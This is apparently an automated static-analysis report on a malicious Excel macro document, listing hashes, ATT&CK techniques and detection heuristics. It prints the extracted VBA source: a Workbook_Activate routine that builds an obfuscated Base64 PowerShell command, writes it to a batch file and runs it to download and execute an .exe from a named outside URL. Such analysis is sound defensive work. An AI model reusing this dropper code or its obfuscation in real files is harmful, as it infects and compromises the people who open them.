Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 276d85a83d237100…

MALICIOUS

Office (OOXML)

392.0 KB Created: 2020-01-28 19:47:00 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-16
MD5: fd9f9ac90ac19e849ee4c4147a889991 SHA-1: c76b4b21e138fe08b2ae874e7521d912e4178e86 SHA-256: 276d85a83d237100e6a54748bce4b43b2e6077838939ccd434c95cc7be6a1b9c
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is an Excel document containing VBA macros that attempt to trick the user into enabling content. Upon enabling, the macro executes a PowerShell command to download and execute a second-stage payload from the URL http://transer.sx/get/vkpIUGc/xUr44kGVrf4Q.exe. The PowerShell command is obfuscated using Base64 encoding and string concatenation.

Heuristics 6

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • External hyperlinks (4) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 4 external hyperlinks — clickable URLs are stored as external relationships. First target: https://go.microsoft.com/fwlink/?linkid=844732
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://go.microsoft.com/fwlink/?linkid=844732 Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844741Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844736Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844747Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844746Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844728Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844735Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844725Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844738Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844749Document hyperlink
    • http://go.microsoft.com/fwlink/?LinkId=846285Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844745Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844751Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844743Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844750Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844726Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844742Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844734Document hyperlink
    • http://go.microsoft.com/fwlink/?LinkId=844969Document hyperlink

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6032 bytes
SHA-256: 710cb515b6660e94f2aba88a064d1f0e35024b3521c51e87637fb070e7806af8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_SheetBeforeRightClick(ByVal Sh As Object, ByVal Target As Range, Cancel As Boolean)

End Sub

Private Sub Workbook_SheetCalculate(ByVal Sh As Object)

End Sub

Private Sub Workbook_Activate()
On Error Resume Next
Dim i As Double
Dim batch As String
Dim call1 As String
Dim s As String
s = s + "start /MIN C:\Windo"
s = s + "ws\System32\" + "Wind" + "owsPo" + "werShe" + "ll\v1.0\pow" + "ersh" + "ell.exe"
s = s + " -win " + "1 -enc"
s = s + " "

s = s + "JABQAHIAbwBj"
s = s + "AE4AYQBtAGUA"
s = s + "IAA9ACAAIgBR"
s = s + "AGcAcwBvAGYA"
s = s + "bgAuAGUAeABl"
s = s + "ACIAOwAoAE4A"
s = s + "ZQB3AC0ATwBi"
s = s + "AGoAZQBjAHQA"
s = s + "IABTAHkAcwB0"
s = s + "AGUAbQAuAE4A"
s = s + "ZQB0AC4AVwBl"
s = s + "AGIAQwBsAGkA"
s = s + "ZQBuAHQAKQAu"
s = s + "AEQAbwB3AG4A"
s = s + "bABvAGEAZABG"
s = s + "AGkAbABlACgA"
s = s + "IgBoAHQAdABw"
s = s + "ADoALwAvAHQA"
s = s + "cgBhAG4AcwBm"
s = s + "AGUAcgAuAHMA"
s = s + "aAAvAGcAZQB0"
s = s + "AC8AdgBrAFAA"
s = s + "SQBVAGcALwB4"
s = s + "AFUAcgA1ADQA"
s = s + "awBHAFYAQgB1"
s = s + "AHIAZgB4AFEA"
s = s + "aQAuAGUAeABl"
s = s + "ACIALAAiACQA"
s = s + "ZQBuAHYAOgBB"
s = s + "AFAAUABEAEEA"
s = s + "VABBAFwAJABQ"
s = s + "AHIAbwBjAE4A"
s = s + "YQBtAGUAIgAp"
s = s + "ADsAUwB0AGEA"
s = s + "cgB0AC0AUABy"
s = s + "AG8AYwBlAHMA"
s = s + "cwAgACgAIgAk"
s = s + "AGUAbgB2ADoA"
s = s + "QQBQAFAARABB"
s = s + "AFQAQQBcACQA"
s = s + "UAByAG8AYwBO"
s = s + "AGEAbQBlACIA"
s = s + "KQA="


ActiveWorkbook.Save
batch = "Zqzqdrwlgijquy.bat"
Open batch For Output As #1
    Print #1, s 
    Close #1
    i = Shell(batch, 0)

End Sub

Private Sub Cellss()

End Sub

Private Sub Workbook_SheetSelectionChange(ByVal Sh As Object, ByVal Target As Range)

End Sub



Attribute VB_Name = "Start"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "1. Add"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "2. Fill"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "3. Split"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "4. Transpose"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "5. Sort & filter"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "6. Tables"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
At
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10752 bytes
SHA-256: 83add44400f7d499bb748492b20347d2da0da890e285a8a322f1f7cb3c742d2b

Open this report in the interactive analyzer, or submit your own file for analysis.